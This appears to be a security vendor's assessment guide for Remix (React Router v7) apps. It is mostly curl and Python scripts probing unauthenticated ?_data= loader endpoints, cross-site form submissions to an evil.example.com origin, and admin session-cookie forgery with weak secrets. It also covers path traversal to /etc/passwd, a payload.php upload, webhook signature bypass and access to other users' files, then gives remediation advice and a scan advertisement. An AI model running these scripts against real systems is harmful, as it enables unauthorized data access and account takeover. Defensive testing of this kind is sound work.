Remix (now React Router v7) has a fundamentally different server/client model that creates distinct security risks. Core risks: Remix exposes every route's loader data via the ?_data= query parameter as JSON — if a loader doesn't check authentication, its data is directly accessible as a JSON API endpoint; action functions accept form submissions without CSRF protection unless explicitly implemented; createCookieSessionStorage is insecure by default if the cookie secret is weak or the httpOnly/secure flags are omitted; and resource routes (routes that return non-HTML responses) often lack the same authentication checks as page routes. This guide covers systematic Remix security assessment.
# Remix loader function authentication — ?_data= JSON endpoint exposure
TARGET="https://your-remix-app.example.com"
# Remix exposes every route's loader() return value as a JSON endpoint
# by appending ?_data=routes/route-name to the URL.
# This allows Remix's client-side navigation to fetch data without full page loads.
# However, if a loader() doesn't check authentication, anyone can hit ?_data= directly.
# Step 1: Enumerate Remix data endpoints via ?_data= parameter
# Remix route names follow the file-based routing convention
REMIX_ROUTES=(
"routes/_index"
"routes/dashboard"
"routes/dashboard._index"
"routes/users"
"routes/users._index"
"routes/profile"
"routes/admin"
"routes/admin._index"
"routes/admin.users"
"routes/settings"
"routes/api.users"
"routes/api.data"
)
for ROUTE in "${REMIX_ROUTES[@]}"; do
URL="${TARGET}/?_data=${ROUTE}"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${URL}" 2>/dev/null)
if [[ "$STATUS" =~ ^(200|201)$ ]]; then
echo "[OPEN DATA] ${ROUTE}: HTTP ${STATUS}"
curl -s "${URL}" 2>/dev/null | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(str(d)[:300])" 2>/dev/null
fi
done
# Step 2: Test ?_data= on authenticated routes without session cookie
# A vulnerable loader:
# export async function loader({ request }: LoaderFunctionArgs) {
# const users = await db.user.findMany(); // BUG: no auth check
# return json({ users });
# }
#
# Safe loader:
# export async function loader({ request }: LoaderFunctionArgs) {
# const session = await getSession(request.headers.get("Cookie"));
# if (!session.get("userId")) throw redirect("/login");
# const users = await db.user.findMany({ where: { id: session.get("userId") } });
# return json({ users });
# }
curl -s "${TARGET}/dashboard?_data=routes/dashboard" 2>/dev/null | \
python3 -c "import sys,json; print(str(json.load(sys.stdin))[:400])" 2>/dev/null
curl -s "${TARGET}/admin?_data=routes/admin" 2>/dev/null | \
python3 -c "import sys,json; print(str(json.load(sys.stdin))[:400])" 2>/dev/null
# Step 3: Test nested route data endpoints
# Remix's nested routing means parent layouts also have ?_data= endpoints
for LAYOUT in "routes/__auth" "routes/__admin" "routes/_layout" "routes/_app" "routes/(app)"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/?_data=${LAYOUT}" 2>/dev/null)
[ "$STATUS" = "200" ] && echo "[LAYOUT DATA] ${LAYOUT}: ${STATUS}"
done
# Step 4: Check Remix defer() streams — deferred data may bypass auth
# Remix's defer() returns a DeferredData response that streams data
# If the deferred promise resolves user data without auth, it's accessible
curl -s -H "Accept: text/x-component" \
"${TARGET}/dashboard?_data=routes/dashboard" 2>/dev/null | head -c 500
# Step 5: Remix splat routes — test wildcard route data
for SPLAT in "routes/$.json" "routes/_" "routes/(*)" "routes/$"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/anything?_data=${SPLAT}" 2>/dev/null)
[ "$STATUS" = "200" ] && echo "[SPLAT] ${SPLAT}: ${STATUS}"
done
# Remix action function CSRF and form submission security testing
TARGET="https://your-remix-app.example.com"
# Remix does NOT include built-in CSRF protection.
# Action functions receive form submissions from the browser.
# Cross-site form submissions are possible unless the app implements
# its own CSRF token validation (e.g., using remix-utils csrf helpers).
SESSION="your-session-cookie-value"
# Step 1: Test CSRF — submit action from different Origin without token
curl -s -X POST "${TARGET}/settings" \
-H "Cookie: __session=${SESSION}" \
-H "Origin: https://evil.example.com" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "_action=update&email=attacker@evil.com" \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null
# Step 2: Enumerate Remix action names via _action parameter
# Remix uses _action in form data to route within a single action function
for ACTION_NAME in "update" "delete" "create" "save" "submit" "invite" "reset" "disable" "enable" "promote"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${TARGET}/dashboard" \
-H "Cookie: __session=${SESSION}" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "_action=${ACTION_NAME}&confirm=true" 2>/dev/null)
echo "POST /dashboard _action=${ACTION_NAME}: ${STATUS}"
done
# Step 3: Test action without Content-Type (Remix accepts URLSearchParams and FormData)
# Remix actions receive FormData by default
curl -s -X POST "${TARGET}/account/delete" \
-H "Cookie: __session=${SESSION}" \
-d "confirm=yes" \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null
# Step 4: Test action with JSON body (Remix v2+ supports json content type)
curl -s -X POST "${TARGET}/api/users" \
-H "Cookie: __session=${SESSION}" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null
# Step 5: Check for CSRF token presence in forms
# If the app uses remix-utils or custom CSRF, check if the token is validated
curl -s "${TARGET}/settings" \
-H "Cookie: __session=${SESSION}" 2>/dev/null | \
grep -i "csrf\|_csrf\|authenticity_token\|csrf-token" | head -5
# Step 6: Test upload action size limit bypass (Remix uses formData parsing)
# Large form data uploads may bypass file size validation
curl -s -X POST "${TARGET}/upload" \
-H "Cookie: __session=${SESSION}" \
-F "file=@/dev/urandom;filename=payload.php;type=application/x-php" \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null
# Remix createCookieSessionStorage security testing
TARGET="https://your-remix-app.example.com"
# Remix's recommended session storage uses createCookieSessionStorage().
# The session data is signed with a secret and stored in a cookie.
# Common misconfigurations:
# 1. Weak or guessable SESSION_SECRET (less than 32 bytes)
# 2. Missing httpOnly flag (allows JavaScript to read the session cookie)
# 3. Missing secure flag (session cookie sent over HTTP)
# 4. Missing sameSite: "lax" or "strict" (enables CSRF via cross-site requests)
# 5. Using the same secret across environments
# Step 1: Inspect session cookie attributes
curl -s -v "${TARGET}/login" \
-X POST \
-d "email=test@test.com&password=test123" 2>&1 | \
grep -i "set-cookie"
# Check for: httponly, secure, samesite attributes on __session cookie
# Expected secure configuration:
# Set-Cookie: __session=; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600
# Step 2: Test session cookie without Secure flag — sent over HTTP
curl -s "http://${TARGET#https://}/dashboard" \
-H "Cookie: __session=test" 2>/dev/null | head -c 200
# Step 3: Try to forge a session with known weak secrets
# createCookieSessionStorage signs data with HMAC-SHA256
# If SESSION_SECRET is weak (e.g., "secret", "remix", "changeme"), it's crackable
python3 -c "
import hmac, hashlib, base64, json, time
def try_forge_session(secret, user_data):
payload = json.dumps(user_data).encode()
signature = hmac.new(secret.encode(), payload, hashlib.sha256).digest()
cookie_value = base64.urlsafe_b64encode(payload).rstrip(b'=').decode() + \
'.' + base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
return cookie_value
weak_secrets = ['secret', 'remix', 'changeme', 'development', 'SESSION_SECRET',
'password', '12345678', 'supersecret', 'remix-session']
admin_data = {'userId': '1', 'role': 'admin', 'exp': int(time.time()) + 3600}
for secret in weak_secrets:
forged = try_forge_session(secret, admin_data)
print(f'SECRET={secret}: {forged[:80]}')
" 2>/dev/null
# Step 4: Test forged session cookies
SESSION_COOKIE="paste-forged-cookie-here"
curl -s "${TARGET}/admin" \
-H "Cookie: __session=${SESSION_COOKIE}" \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null | head -c 300
# Step 5: Check session fixation — server accepts client-provided session ID
# If the app allows the session ID to be set by the client before login
curl -s -X POST "${TARGET}/login" \
-H "Cookie: __session=attacker-controlled-session-id" \
-d "email=victim@example.com&password=correct_password" \
-D - 2>/dev/null | grep -i "set-cookie"
# If the response doesn't issue a new __session cookie, the old one is reused — fixation
# Step 6: Check cookie scope — path and domain restrictions
curl -s -v "${TARGET}/" 2>&1 | grep -i "set-cookie" | head -5
# Warning if cookie has Domain=.example.com (scope too broad)
# Warning if no Path= attribute (defaults to /, acceptable) or Path=/specific (too narrow)
# Remix resource route authentication bypass testing
TARGET="https://your-remix-app.example.com"
# Remix resource routes are routes that return non-HTML responses (JSON, PDF, CSV, etc.)
# They're defined as route files with only a loader() or action() function.
# Resource routes are commonly used for: file downloads, API endpoints, webhooks,
# image serving, and data exports.
# Unlike page routes, resource routes often lack consistent authentication checks.
# Step 1: Enumerate common resource route patterns
RESOURCE_ROUTES=(
"/api/users.json"
"/api/users/export"
"/api/export"
"/api/download"
"/resources/users"
"/resources/export"
"/admin/export"
"/admin/users.csv"
"/reports/download"
"/data/export.json"
"/api/webhook"
"/api/health.json"
)
for ROUTE in "${RESOURCE_ROUTES[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${ROUTE}" 2>/dev/null)
if [[ "$STATUS" =~ ^(200|206)$ ]]; then
echo "[OPEN] ${ROUTE}: HTTP ${STATUS}"
CONTENT_TYPE=$(curl -s -o /dev/null -w "%{content_type}" "${TARGET}${ROUTE}" 2>/dev/null)
echo " Content-Type: ${CONTENT_TYPE}"
curl -s "${TARGET}${ROUTE}" 2>/dev/null | head -c 300
fi
done
# Step 2: Test resource routes with ?_data= (Remix also applies ?_data= to resource routes)
for ROUTE in "routes/api.users" "routes/api.export" "routes/resources.download"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/?_data=${ROUTE}" 2>/dev/null)
[ "$STATUS" = "200" ] && echo "[RESOURCE DATA] ${ROUTE}: ${STATUS}"
done
# Step 3: Test file serving resource routes for path traversal
SESSION="your-session-token"
for PATH_TRAVERSAL in \
"/../../../etc/passwd" \
"/%2F..%2F..%2Fetc%2Fpasswd" \
"/..%2F..%2Fetc%2Fpasswd" \
"/%252F..%252F..%252Fetc%252Fpasswd"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/files${PATH_TRAVERSAL}" \
-H "Cookie: __session=${SESSION}" 2>/dev/null)
echo "Path traversal ${PATH_TRAVERSAL}: ${STATUS}"
done
# Step 4: Test webhook resource routes — signature validation
# Remix webhook handlers often forget to validate the webhook signature
curl -s -X POST "${TARGET}/api/webhooks/stripe" \
-H "Content-Type: application/json" \
-H "Stripe-Signature: invalid-signature" \
-d '{"type":"payment_intent.succeeded","data":{"object":{"amount":0}}}' \
-w "\nHTTP Status: %{http_code}\n" 2>/dev/null
# Step 5: Test authorization in resource routes — access other users' files
SESSION_A="session-token-for-user-a"
# Access user A's own resource
curl -s "${TARGET}/resources/download/user-a-file-id" \
-H "Cookie: __session=${SESSION_A}" 2>/dev/null | head -c 200
# Try to access another user's resource (horizontal privilege escalation)
for FILE_ID in 1 2 3 4 5; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/resources/download/${FILE_ID}" \
-H "Cookie: __session=${SESSION_A}" 2>/dev/null)
echo "Resource /download/${FILE_ID} as user A: ${STATUS}"
done
redirect("/login") if the user is unauthenticated; use Remix's createCookieSessionStorage to read the session from request.headers.get("Cookie") before any database query; create a requireUser(request) helper that encapsulates this logic and use it in every protected loader and action; for admin routes, add a second check for the user's role after confirming authenticationremix-utils CSRF helpers or implement your own: generate a CSRF token server-side, store it in the session, embed it in forms as a hidden field, and validate it at the start of every action() before processing form data; the token should be rotated on each login; for API-style actions that accept JSON bodies, require a custom header (e.g., X-Requested-With: XMLHttpRequest) as a CSRF defense for content type mismatch; also set sameSite: "lax" on session cookies as defense-in-depthSESSION_SECRET from a cryptographically secure source (minimum 32 bytes, base64-encoded); set httpOnly: true (prevents JavaScript access), secure: true (HTTPS-only), sameSite: "lax" (prevents most CSRF), and an appropriate maxAge or expires; never use the same secret in development and production; rotate the secret when deploying if possible, and implement graceful session invalidation for previously-issued sessions; consider using createSessionStorage with a server-side store (Redis, database) instead of cookie storage for sensitive applications, to enable immediate session revocationsession.userId === file.ownerId in the database before serving; for webhook routes, validate the webhook signature cryptographically before processing the payload; for data export routes, paginate results and log access for audit purposesprocess.env is only available in server-side code (loaders, actions, resource routes); never return env values in loader return data, as they will be serialized into the page and accessible via ?_data=; use Remix's window.ENV pattern for intentional client-side env exposure: create a /app/root.tsx loader that explicitly returns only the public env vars you need on the client, and expose them via a <script>window.ENV = {json(data.ENV)}</script> in the document; audit every loader return value to confirm no accidental env var inclusion| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated loader via ?_data= JSON endpoint | GET /dashboard?_data=routes/dashboard without session cookie — loader data returned as JSON if auth not checked | Critical |
| Action CSRF — cross-site form submission | POST /settings with Origin: https://evil.com — accepted if no CSRF token validation in action() | High |
| Weak SESSION_SECRET — session forgery | HMAC-SHA256 brute-force of cookie signature with common weak secrets — forge admin session cookie | High |
| Resource route authentication bypass | GET /api/export or /resources/download without session — data returned if resource route lacks auth check | High |
| Session cookie without HttpOnly/Secure/SameSite | Inspect Set-Cookie header — missing flags enable XSS session theft or cross-site request forgery | High |
Ironimo tests Remix applications for unauthenticated loader data exposure via ?_data= JSON endpoint enumeration, action function CSRF bypass via cross-site form submission, weak createCookieSessionStorage SESSION_SECRET brute-force and session forgery, resource route authentication bypass for file downloads and data exports, webhook signature validation bypass, horizontal privilege escalation in user-scoped resource routes, and session cookie attribute security assessment.
Start free scan